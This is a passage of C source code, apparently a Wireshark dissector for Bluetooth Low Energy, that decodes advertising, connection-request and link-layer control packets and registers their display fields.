data_tvb; guint8* adv_addr_le; guint8* adv_addr_be; wmem_allocator_t* epan_scope_mem_pool; epan_scope_mem_pool = wmem_epan_scope(); adv_addr_le = wmem_alloc(epan_scope_mem_pool, 6); adv_addr_be = wmem_alloc(epan_scope_mem_pool, 6); DISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1); tvb_memcpy(tvb, adv_addr_le, offset, 6); reverse_byte_order(adv_addr_be, adv_addr_le, 6); /* little endian -> big endian for display/filter purposes */ SET_ADDRESS(&pinfo->src, AT_ETHER, 6, adv_addr_be); SET_ADDRESS(&pinfo->dst, AT_STRINGZ, nondirect_dst_string_length, nondirect_dst); proto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset, 6, adv_addr_be); data_item = proto_tree_add_item(tree, hf_btle_scan_rsp_data, tvb, offset + 6, datalen, ENC_LITTLE_ENDIAN); data_tree = proto_item_add_subtree(data_item, ett_adv_data); data_tvb = tvb_new_subset(tvb, offset + 6, datalen, datalen); dissect_adv_data(data_tree, data_tvb, pinfo); } void dissect_connect_req(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset) { proto_item *connect_item; proto_tree *connect_tree; guint8 *adv_addr_le, *init_addr_le; guint8 *adv_addr_be, *init_addr_be; gint16 conn_timeout; float window_size, window_offset, conn_interval; wmem_allocator_t* epan_scope_mem_pool; DISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1); epan_scope_mem_pool = wmem_epan_scope(); adv_addr_le = wmem_alloc(epan_scope_mem_pool, 6); adv_addr_be = wmem_alloc(epan_scope_mem_pool, 6); init_addr_le = wmem_alloc(epan_scope_mem_pool, 6); init_addr_be = wmem_alloc(epan_scope_mem_pool, 6); tvb_memcpy(tvb, init_addr_le, offset, 6); reverse_byte_order(init_addr_be, init_addr_le, 6); SET_ADDRESS(&pinfo->src, AT_ETHER, 6, init_addr_be); tvb_memcpy(tvb, adv_addr_le, offset+6, 6); reverse_byte_order(adv_addr_be, adv_addr_le, 6); SET_ADDRESS(&pinfo->dst, AT_ETHER, 6, adv_addr_be); proto_tree_add_ether(tree, hf_btle_init_addr, tvb, offset, 6, init_addr_be); proto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset + 6, 6, adv_addr_be); offset += 12; connect_item = proto_tree_add_item(tree, hf_btle_connect, tvb, offset, 22, ENC_LITTLE_ENDIAN); connect_tree = proto_item_add_subtree(connect_item, ett_btle_connect); window_size = (float)(tvb_get_guint8(tvb, offset+ 7)*1.25); window_offset = (float)(((gint)tvb_get_guint8(tvb, offset+ 8) + (gint)(tvb_get_guint8(tvb, offset+ 9) << 8))*1.25); conn_interval = (float)(((gint)tvb_get_guint8(tvb, offset+ 10) + (gint)(tvb_get_guint8(tvb, offset+ 11) << 8))*1.25); conn_timeout = ((gint16)tvb_get_guint8(tvb, offset+ 14) + (gint16)(tvb_get_guint8(tvb, offset+ 15) << 8))*10; proto_tree_add_item (connect_tree, hf_btle_connect_aa, tvb, offset+ 0, 4, ENC_LITTLE_ENDIAN); proto_tree_add_item (connect_tree, hf_btle_crc_init, tvb, offset+ 4, 3, ENC_LITTLE_ENDIAN); proto_tree_add_float(connect_tree, hf_btle_win_size, tvb, offset+ 7, 1, window_size); proto_tree_add_float(connect_tree, hf_btle_win_offset, tvb, offset+ 8, 2, window_offset); proto_tree_add_float(connect_tree, hf_btle_interval, tvb, offset+10, 2, conn_interval); proto_tree_add_item (connect_tree, hf_btle_latency, tvb, offset+12, 2, ENC_LITTLE_ENDIAN); proto_tree_add_uint (connect_tree, hf_btle_timeout, tvb, offset+14, 2, conn_timeout); dissect_channel_map(connect_tree, tvb, offset+16); proto_tree_add_bits_item(connect_tree, hf_btle_hop_interval, tvb, ((offset + 21) * 8) + 3, 5, ENC_LITTLE_ENDIAN); proto_tree_add_bits_item(connect_tree, hf_btle_sleep_clock_accuracy, tvb, (offset + 21) * 8, 3, ENC_LITTLE_ENDIAN); } void dissect_ll_enc_req(proto_tree *tree, tvbuff_t *tvb, int offset) { // proto_item *ll_enc_req_item; // proto_tree *ll_enc_req_tree; // ll_enc_req_item = proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req, tvb, offset + 1, 22, ENC_LITTLE_ENDIAN); // ll_enc_req_tree = proto_item_add_subtree(ll_enc_req_item, ett_ll_enc_req); // proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_rand, tvb, offset + 1, 8, ENC_LITTLE_ENDIAN); // proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_ediv, tvb, offset + 9, 2, ENC_LITTLE_ENDIAN); // proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_skdm, tvb, offset + 11, 8, ENC_LITTLE_ENDIAN); // proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_ivm, tvb, offset + 19, 4, ENC_LITTLE_ENDIAN); proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_rand, tvb, offset + 1, 8, ENC_LITTLE_ENDIAN); proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_ediv, tvb, offset + 9, 2, ENC_LITTLE_ENDIAN); proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_skdm, tvb, offset + 11, 8, ENC_LITTLE_ENDIAN); proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_ivm, tvb, offset + 19, 4, ENC_LITTLE_ENDIAN); } void dissect_ll_enc_rsp(proto_tree *tree, tvbuff_t *tvb, int offset) { // proto_item *ll_enc_rsp_item; // proto_tree *ll_enc_rsp_tree; // ll_enc_rsp_item = proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_rsp, tvb, offset + 1, 12, ENC_LITTLE_ENDIAN); // ll_enc_rsp_tree = proto_item_add_subtree(ll_enc_rsp_item, ett_ll_enc_rsp); // proto_tree_add_item(ll_enc_rsp_tree, hf_btle_ll_control_ll_enc_rsp_skds, tvb, offset + 1, 8, ENC_LITTLE_ENDIAN); // proto_tree_add_item(ll_enc_rsp_tree, hf_btle_ll_control_ll_enc_rsp_ivs, tvb, offset + 9, 4, ENC_LITTLE_ENDIAN); proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_rsp_skds, tvb, offset + 1, 8, ENC_LITTLE_ENDIAN); proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_rsp_ivs, tvb, offset + 9, 4, ENC_LITTLE_ENDIAN); } dissect_ll_conn_update_req(proto_tree *tree, tvbuff_t *tvb, int offset) { float window_size, window_offset, conn_interval; gint16 conn_timeout; window_size = (float)(tvb_get_guint8(tvb, offset+ 1)*1.25); window_offset = (float)(((gint)tvb_get_guint8(tvb, offset+ 2) + (gint)(tvb_get_guint8(tvb, offset+ 3) << 8))*1.25); conn_interval = (float)(((gint)tvb_get_guint8(tvb, offset+ 4) + (gint)(tvb_get_guint8(tvb, offset+ 5) << 8))*1.25); conn_timeout = ((gint16)tvb_get_guint8(tvb, offset+ 8) + (gint16)(tvb_get_guint8(tvb, offset+ 9) << 8))*10; proto_tree_add_float(tree, hf_btle_win_size, tvb, offset+ 1, 1, window_size); proto_tree_add_float(tree, hf_btle_win_offset, tvb, offset+ 2, 2, window_offset); proto_tree_add_float(tree, hf_btle_interval, tvb, offset+ 4, 2, conn_interval); proto_tree_add_item (tree, hf_btle_latency, tvb, offset+ 6, 2, ENC_LITTLE_ENDIAN); proto_tree_add_uint (tree, hf_btle_timeout, tvb, offset+ 8, 2, conn_timeout); proto_tree_add_item (tree, hf_btle_instant, tvb, offset+10, 2, ENC_LITTLE_ENDIAN); } dissect_ll_channel_map_req(proto_tree *tree, tvbuff_t *tvb, int offset) { // proto_tree_add_item (tree, hf_btle_channel_map, tvb, offset+ 1, 5, ENC_LITTLE_ENDIAN); dissect_channel_map(tree, tvb, offset+1); proto_tree_add_item (tree, hf_btle_instant, tvb, offset+ 6, 2, ENC_LITTLE_ENDIAN); } dissect_ll_terminate_ind(proto_tree *tree, tvbuff_t *tvb, int offset) { proto_tree_add_item (tree, hf_btle_error_code, tvb, offset+ 1, 1, ENC_LITTLE_ENDIAN); } dissect_ll_start_enc_req(proto_tree *tree, tvbuff_t *tvb, int offset) { } dissect_ll_start_enc_rsp(proto_tree *tree, tvbuff_t *tvb, int offset) { } dissect_ll_unknown_rsp(proto_tree *tree, tvbuff_t *tvb, int offset) { proto_tree_add_item (tree, hf_btle_unknown_type, tvb, offset+ 1, 1, ENC_LITTLE_ENDIAN); } dissect_ll_feature_req(proto_tree *tree, tvbuff_t *tvb, int offset) { dissect_feature_set(tree, tvb, offset+1); // proto_tree_add_item (tree, hf_btle_feature_set, tvb, offset+ 1, 8, ENC_LITTLE_ENDIAN); } dissect_ll_feature_rsp(proto_tree *tree, tvbuff_t *tvb, int offset) { dissect_feature_set(tree, tvb, offset+1); // proto_tree_add_item (tree, hf_btle_feature_set, tvb, offset+ 1, 8, ENC_LITTLE_ENDIAN); } dissect_ll_pause_enc_req(proto_tree *tree, tvbuff_t *tvb, int offset) { } dissect_ll_pause_enc_rsp(proto_tree *tree, tvbuff_t *tvb, int offset) { } dissect_ll_version_ind(proto_tree *tree, tvbuff_t *tvb, int offset) { proto_tree_add_item (tree, hf_btle_bt_version, tvb, offset+ 1, 1, ENC_LITTLE_ENDIAN); proto_tree_add_item (tree, hf_btle_company_id, tvb, offset+ 2, 2, ENC_LITTLE_ENDIAN); proto_tree_add_item (tree, hf_btle_sub_version_num, tvb, offset+ 4, 2, ENC_LITTLE_ENDIAN); } dissect_ll_reject_ind(proto_tree *tree, tvbuff_t *tvb, int offset) { proto_tree_add_item (tree, hf_btle_error_code, tvb, offset+ 1, 1, ENC_LITTLE_ENDIAN); } void dissect_ll_control(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset, guint8 length) { guint8 ll_control_opcode; // proto_item* data_item; proto_item* control_item; // proto_tree* data_tree; proto_tree* control_tree; ll_control_opcode = tvb_get_guint8(tvb, offset); control_item = proto_tree_add_uint(tree, hf_btle_ll_control, tvb, offset, length, ll_control_opcode); control_tree = proto_item_add_subtree(control_item, ett_ll_control); proto_tree_add_item(control_tree, hf_btle_ll_control_opcode, tvb, offset, 1, ENC_NA); // data_item = proto_tree_add_item(control_tree, hf_btle_ll_control_data, tvb, offset+1, length-1, ENC_NA); // data_tree = proto_item_add_subtree(data_item, ett_ll_control_data); if (ll_control_opcode <= 0x0d) { col_add_fstr(pinfo->cinfo, COL_INFO, "LL Control PDU: %s", ll_control_opcodes[ll_control_opcode].strptr); switch (ll_control_opcode) { case LL_CONNECTION_UPDATE_REQ: dissect_ll_conn_update_req(control_tree, tvb, offset); break; case LL_CHANNEL_MAP_REQ: dissect_ll_channel_map_req(control_tree, tvb, offset); break; case LL_TERMINATE_IND: dissect_ll_terminate_ind(control_tree, tvb, offset); break; case LL_ENC_REQ: dissect_ll_enc_req(control_tree, tvb, offset); break; case LL_ENC_RSP: dissect_ll_enc_rsp(control_tree, tvb, offset); break; case LL_START_ENC_REQ: dissect_ll_start_enc_req(control_tree, tvb, offset); break; case LL_START_ENC_RSP: dissect_ll_start_enc_rsp(control_tree, tvb, offset); break; case LL_UNKNOWN_RSP: dissect_ll_unknown_rsp(control_tree, tvb, offset); break; case LL_FEATURE_REQ: dissect_ll_feature_req(control_tree, tvb, offset); break; case LL_FEATURE_RSP: dissect_ll_feature_rsp(control_tree, tvb, offset); break; case LL_PAUSE_ENC_REQ: dissect_ll_pause_enc_req(control_tree, tvb, offset); break; case LL_PAUSE_ENC_RSP: dissect_ll_pause_enc_rsp(control_tree, tvb, offset); break; case LL_VERSION_IND: dissect_ll_version_ind(control_tree, tvb, offset); break; case LL_REJECT_IND: dissect_ll_reject_ind(control_tree, tvb, offset); break; default: /* Impossible */ break; } } else { col_set_str(pinfo->cinfo, COL_INFO, "LL Control PDU: unknown"); if (length > 1) proto_tree_add_item(control_tree, hf_btle_ll_control_data, tvb, offset + 1, length-1, ENC_LITTLE_ENDIAN); expert_add_info_format(pinfo, control_item, PI_SEQUENCE, PI_WARN, "Unknown LL Control opcode"); } } /* dissect a packet */ static void dissect_btle(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree) { proto_item *btle_item, *pkthdr_item, *data_item, *length_item; proto_tree *btle_tree, *pkthdr_tree, *data_tree; int offset; guint32 aa; guint8 type, length; guint8 llid; tvbuff_t *pld_tvb; /* * FIXME * I have no idea what this does, but the L2CAP dissector segfaults * without it. */ guint16 fake_acl_data; /* sanity check: length */ if (tvb_length(tvb) > 0 && tvb_length(tvb) < 9) { /* bad length: too short */ //expert_add_info(pinfo, NULL, &ei_btle_packet_too_short); } /* make entries in protocol column and info column on summary display */ if (check_col(pinfo->cinfo, COL_PROTOCOL)) col_set_str(pinfo->cinfo, COL_PROTOCOL, "Bluetooth LE"); aa = tvb_get_letohl(tvb, 0); // advertising packet if (aa == ADV_AA) { type = tvb_get_guint8(tvb, 4) & 0xf; length = tvb_get_guint8(tvb, 5) & 0x3f; if ((guint)(length + 9) < tvb_length(tvb)) { /* not supported before 1.11.0 */ //expert_add_info(pinfo, NULL, &ei_btle_packet_too_long); } else if ((guint)(length + 9) > tvb_length(tvb)) { /* not supported before 1.11.0 */ //expert_add_info(pinfo, NULL, &ei_btle_packet_too_short); } if (check_col(pinfo->cinfo, COL_PROTOCOL)) col_set_str(pinfo->cinfo, COL_PROTOCOL, "BLE ADV"); /* see if we are being asked for details */ if (tree) { /* create display subtree for the protocol */ offset = 0; btle_item = proto_tree_add_item(tree, proto_btle, tvb, offset, -1, ENC_LITTLE_ENDIAN); btle_tree = proto_item_add_subtree(btle_item, ett_btle); proto_tree_add_item(btle_tree, hf_btle_aa, tvb, offset, 4, ENC_LITTLE_ENDIAN); offset += 4; /* packet header */ pkthdr_item = proto_tree_add_item(btle_tree, hf_btle_pkthdr, tvb, offset, 2, ENC_LITTLE_ENDIAN); pkthdr_tree = proto_item_add_subtree(pkthdr_item, ett_btle_pkthdr); if (type == 0x1 || type == 0x3 || type == 0x5) { proto_tree_add_bits_item(pkthdr_tree, hf_btle_randomized_rx, tvb, offset * 8, 1, ENC_LITTLE_ENDIAN); } proto_tree_add_bits_item(pkthdr_tree, hf_btle_randomized_tx, tvb, offset * 8 + 1, 1, ENC_LITTLE_ENDIAN); proto_tree_add_bits_item(pkthdr_tree, hf_btle_type, tvb, offset * 8 + 4, 4, ENC_LITTLE_ENDIAN); offset += 1; length_item = proto_tree_add_item(pkthdr_tree, hf_btle_length, tvb, offset, 1, ENC_LITTLE_ENDIAN); if ((guint)(length + 9) < tvb_length(tvb)) { //expert_add_info(pinfo, length_item, &ei_btle_packet_too_long); } else if ((guint)(length + 9) > tvb_length(tvb)) { //expert_add_info(pinfo, length_item, &ei_btle_packet_too_short); } offset += 1; if (check_col(pinfo->cinfo, COL_INFO)) { if (type <= 0x6) { col_set_str(pinfo->cinfo, COL_INFO, packet_types[type].strptr); } else { col_set_str(pinfo->cinfo, COL_INFO, "Unknown"); } } /* payload */ switch (type) { case 0x0: // ADV_IND case 0x2: // ADV_NONCONN_IND case 0x6: // ADV_SCAN_IND dissect_adv_ind_or_nonconn_or_scan(btle_tree, tvb, pinfo, offset, length - 6); break; case 0x1: // ADV_DIRECT_IND dissect_adv_direct_ind(btle_tree, tvb, pinfo, offset); break; case 0x3: dissect_scan_req(btle_tree, tvb, pinfo, offset); break; case 0x4: // SCAN_RSP dissect_scan_rsp(btle_tree, tvb, pinfo, offset, length - 6); break; case 0x5: // CONNECT_REQ dissect_connect_req(btle_tree, tvb, pinfo, offset); break; default: break; } offset += length; proto_tree_add_item(btle_tree, hf_btle_crc, tvb, offset, 3, ENC_BIG_ENDIAN); } } // data PDU else { if (check_col(pinfo->cinfo, COL_PROTOCOL)) col_set_str(pinfo->cinfo, COL_PROTOCOL, "BLE Data"); length = tvb_get_guint8(tvb, 5) & 0x3f; if ((guint)(length + 9) < tvb_length(tvb)) { /* not supported before 1.11.0 */ //expert_add_info(pinfo, NULL, &ei_btle_packet_too_long); } else if ((guint)(length + 9) > tvb_length(tvb)) { /* not supported before 1.11.0 */ //expert_add_info(pinfo, NULL, &ei_btle_packet_too_short); } if (tree) { col_set_str(pinfo->cinfo, COL_INFO, "Data"); length = tvb_get_guint8(tvb, 5) & 0x1f; /* create display subtree for the protocol */ offset = 0; btle_item = proto_tree_add_item(tree, proto_btle, tvb, offset, -1, ENC_LITTLE_ENDIAN); btle_tree = proto_item_add_subtree(btle_item, ett_btle); proto_tree_add_item(btle_tree, hf_btle_aa, tvb, offset, 4, ENC_LITTLE_ENDIAN); offset += 4; // data PDU header data_item = proto_tree_add_item(btle_tree, hf_btle_data, tvb, offset, 2, ENC_LITTLE_ENDIAN); data_tree = proto_item_add_subtree(data_item, ett_btle_data); proto_tree_add_item(data_tree, hf_btle_data_rfu, tvb, offset, 1, ENC_NA); proto_tree_add_item(data_tree, hf_btle_data_md, tvb, offset, 1, ENC_NA); proto_tree_add_item(data_tree, hf_btle_data_sn, tvb, offset, 1, ENC_NA); proto_tree_add_item(data_tree, hf_btle_data_nesn, tvb, offset, 1, ENC_NA); proto_tree_add_item(data_tree, hf_btle_data_llid, tvb, offset, 1, ENC_NA); llid = tvb_get_guint8(tvb, offset) & 0x3; offset += 1; length_item = proto_tree_add_item(data_tree, hf_btle_length, tvb, offset, 1, ENC_LITTLE_ENDIAN); if ((guint)(length + 9) < tvb_length(tvb)) { /* not supported before 1.11.0 */ //expert_add_info(pinfo, length_item, &ei_btle_packet_too_long); } else if ((guint)(length + 9) > tvb_length(tvb)) { /* not supported before 1.11.0 */ //expert_add_info(pinfo, length_item, &ei_btle_packet_too_short); } offset += 1; // LL control PDU if (llid == 0x3) { dissect_ll_control(btle_tree, tvb, pinfo, offset, length); } // L2CAP else if (llid == 0x1 || llid == 0x2) { if (length > 0 && btl2cap_handle) { pinfo->private_data = &fake_acl_data; pld_tvb = tvb_new_subset(tvb, offset, length, length); // call_dissector(btl2cap_handle, pld_tvb, pinfo, btle_tree); call_dissector(btl2cap_handle, pld_tvb, pinfo, tree); } else if (length == 0) { col_set_str(pinfo->cinfo, COL_INFO, "Empty Data PDU"); } } offset += length; proto_tree_add_item(btle_tree, hf_btle_crc, tvb, offset, 3, ENC_BIG_ENDIAN); } } return; } /* register the protocol with Wireshark */ void proto_register_btle(void) { /* list of fields */ static hf_register_info hf[] = { { &hf_btle_aa, { "Access Address", "btle.aa", FT_UINT32, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_pkthdr, { "Packet Header", "btle.pkthdr", FT_NONE, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_type, { "TYPE", "btle.type", FT_UINT8, BASE_HEX, VALS(packet_types), 0x0, "Packet Type", HFILL } }, { &hf_btle_randomized_tx, { "TX Address", "btle.tx_addr_flag", // FT_BOOLEAN, BASE_NONE, TFS(&tfs_yes_no), 0x0, FT_BOOLEAN, BASE_NONE, &addr_flag_tfs, 0x0, NULL, HFILL } }, { &hf_btle_randomized_rx, { "RX Address", "btle.rx_addr_flag", // FT_BOOLEAN, BASE_NONE, TFS(&tfs_yes_no), 0x0, FT_BOOLEAN, BASE_NONE, &addr_flag_tfs, 0x0, NULL, HFILL } }, { &hf_btle_length, { "Length", "btle.length", FT_UINT8, BASE_DEC, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_addr, { "Advertising Address", "btle.adv_addr", FT_ETHER, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_init_addr, { "Init Address", "btle.init_addr", FT_ETHER, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_scan_addr, { "Scan Address", "btle.scan_addr", FT_ETHER, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data, { "Advertising Data", "btle.adv_data", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_scan_rsp_data, { "Scan Response Data", "btle.scan_rsp_data", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, // connection packet fields { &hf_btle_connect, { "Connection Request", "btle.connect", FT_NONE, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_connect_aa, { "Connection Access Address", "btle.connect.aa", FT_UINT32, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_crc_init, { "CRC Init", "btle.connect.crc_init", FT_UINT24, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_win_size, { "Window Size (ms)", "btle.connect.win_size", FT_FLOAT, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_win_offset, { "Window Offset (ms)", "btle.connect.win_offset", FT_FLOAT, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_interval, { "Interval (ms)", "btle.connect.interval", FT_FLOAT, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_min_interval, { "Minimum interval (ms)", "btle.connect.min_interval", FT_FLOAT, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_max_interval, { "Maximum interval (ms)", "btle.connect.max_interval", FT_FLOAT, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_latency, { "Latency", "btle.connect.latency", FT_UINT16, BASE_DEC, NULL, 0x0, NULL, HFILL } }, { &hf_btle_timeout, { "Timeout (ms)", "btle.connect.timeout", FT_UINT16, BASE_DEC, NULL, 0x0, NULL, HFILL } }, { &hf_btle_hop_interval, { "Hop interval", "btle.connect.hop_interval", FT_UINT8, BASE_DEC, NULL, 0x0, NULL, HFILL } }, { &hf_btle_sleep_clock_accuracy, { "Sleep Clock Accuracy", "btle.connect.sca", FT_UINT8, BASE_DEC, VALS(sleep_clock_accuracy_values), 0x0, NULL, HFILL } }, // data header { &hf_btle_data, { "Data PDU Header", "btle.data", FT_UINT16, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_data_llid, { "LLID", "btle.data.llid", FT_UINT8, BASE_DEC, VALS(llid_codes), 0x3, NULL, HFILL } }, { &hf_btle_data_nesn, { "NESN", "btle.data.nesn", FT_UINT8, BASE_DEC, NULL, 0x4, "Next Expected Sequence Number", HFILL } }, { &hf_btle_data_sn, { "SN", "btle.data.sn", FT_UINT8, BASE_DEC, NULL, 0x8, "Sequence Number", HFILL } }, { &hf_btle_data_md, { "MD", "btle.data.md", FT_UINT8, BASE_DEC, NULL, 0x10, "More Data", HFILL } }, { &hf_btle_data_rfu, { "RFU", "btle.data.rfu", FT_UINT8, BASE_DEC, NULL, 0xe0, "Reserved for Future Use (must be zero)", HFILL } }, { &hf_btle_ll_control, { "LL Control PDU", "btle.ll_control", FT_UINT8, BASE_HEX, VALS(ll_control_opcodes), 0x0, NULL, HFILL } }, { &hf_btle_ll_control_opcode, { "LL Control Opcode", "btle.ll_control_opcode", FT_UINT8, BASE_HEX, VALS(ll_control_opcodes), 0x0, NULL, HFILL } }, { &hf_btle_ll_control_data, { "LL Control Data", "btle.ll_control_data", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_ll_control_ll_enc_req, { "Encryption Request", "btle.ll_enc_req", FT_NONE, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_ll_control_ll_enc_req_rand, { "Rand", "btle.ll_enc_req.rand", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_ll_control_ll_enc_req_ediv, { "EDIV", "btle.ll_enc_req.ediv", FT_BYTES, BASE_NONE, NULL, 0x0, "Encrypted Diversifier", HFILL } }, { &hf_btle_ll_control_ll_enc_req_skdm, { "SKDm", "btle.ll_enc_req.skdm", FT_BYTES, BASE_NONE, NULL, 0x0, "Master's Session Key Identifier", HFILL } }, { &hf_btle_ll_control_ll_enc_req_ivm, { "IVm", "btle.ll_enc_req.ivm", FT_BYTES, BASE_NONE, NULL, 0x0, "Master's Initialization Vector", HFILL } }, { &hf_btle_ll_control_ll_enc_rsp, { "Encryption Response", "btle.ll_enc_rsp", FT_NONE, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_ll_control_ll_enc_rsp_skds, { "SKDs", "btle.ll_enc_rsp.skds", FT_BYTES, BASE_NONE, NULL, 0x0, "Slave's Session Key Identifier", HFILL } }, { &hf_btle_ll_control_ll_enc_rsp_ivs, { "IVs", "btle.ll_enc_rsp.ivs", FT_BYTES, BASE_NONE, NULL, 0x0, "Slave's Initialization Vector", HFILL } }, { &hf_btle_crc, { "CRC", "btle.crc", FT_UINT24, BASE_HEX, NULL, 0x0, "Cyclic Redundancy Check", HFILL } }, { &hf_btle_instant, { "Instant field", "btle.instant", FT_UINT16, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_channel_map, { "Channel map", "btle.map", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_enabled_channels, { "Enabled channels", "btle.enabled_channels", FT_STRINGZ, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_error_code, { "Error code", "btle.error", FT_UINT8, BASE_HEX, VALS(error_codes), 0x0, NULL, HFILL } }, { &hf_btle_unknown_type, { "Unknown type", "btle.unknown_type", FT_UINT8, BASE_DEC, NULL, 0x0, NULL, HFILL } }, { &hf_btle_feature_set, { "Feature set", "btle.feature_set", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_supported_feature, { "Supported feature", "btle.supported_feature", FT_UINT8, BASE_DEC, VALS(le_features), 0x0, NULL, HFILL } }, { &hf_btle_unsupported_feature, { "Unsupported feature", "btle.unsupported_feature", FT_UINT8, BASE_DEC, VALS(le_features), 0x0, NULL, HFILL } }, { &hf_btle_bt_version, { "Bletooth version", "btle.bluetooth_version", FT_UINT8, BASE_DEC, NULL, 0x0, NULL, HFILL } }, { &hf_btle_company_id, { "Company ID", "btle.company_id", FT_UINT16, BASE_DEC, NULL, 0x0, NULL, HFILL } }, { &hf_btle_sub_version_num, { "Sub-version number", "btle.sub_version_num", FT_UINT16, BASE_DEC, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attr, { "Attribute", "btle.adv_data.attr", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attr_type, { "type", "btle.adv_data.attr.type", FT_UINT8, BASE_HEX, VALS(adv_data_attr_types), 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attr_length, { "length", "btle.adv_data.attr.length", FT_UINT8, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attr_value, { "value (hex)", "btle.adv_data.attr.value", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attr_value_string, { "value (ASCII)", "btle.adv_data.attr.value_string", FT_STRING, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_flags], {"flags", "btle.adv_data.flags", FT_UINT8, BASE_HEX, NULL, 0x0, NULL, HFILL} }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_inc_16b_uuids], {"16 bit uuids (incomplete)", "btle.adv_data.inc_16b_uuids", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL} }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_16b_uuids], {"16 bit uuids (complete)", "btle.adv_data.com_16b_uuids", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL} }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_inc_32b_uuids], {"32 bit uuids (incomplete)", "btle.adv_data.inc_32b_uuids", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL} }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_32b_uuids], {"32 bit uuids (complete)", "btle.adv_data.com_32b_uuids", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL} }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_inc_128b_uuids], {"128 bit uuids (incomplete)", "btle.adv_data.inc_128b_uuids", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL} }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_128b_uuids], {"128 bit uuids (complete)", "btle.adv_data.com_128b_uuids", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL} }, { &hf_btle_128b_uuid, {"128 bit uuid", "btle.128b_uuid", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_32b_uuid, {"32 bit uuid", "btle.32b_uuid", FT_UINT32, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_16b_uuid, {"16 bit uuid", "btle.16b_uuid", FT_UINT16, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_short_local_name], {"local name (short)", "btle.adv_data.short_local_name", FT_STRING, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_local_name], {"local name", "btle.adv_data.complete_local_name", FT_STRING, BASE_NONE, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_tx_power], {"TX power level", "btle.adv_data.tx_power", FT_INT8, BASE_DEC, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_dev_class], {"device class", "btle.adv_data.device_class", FT_UINT24, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { &hf_btle_adv_data_attrs[index_hf_btle_adv_data_pair_hash_c], {"simple hash", "btle.adv_data.simple_hash", FT_UINT16, BASE_HEX, NULL, 0x0, NULL, HFILL } }, { 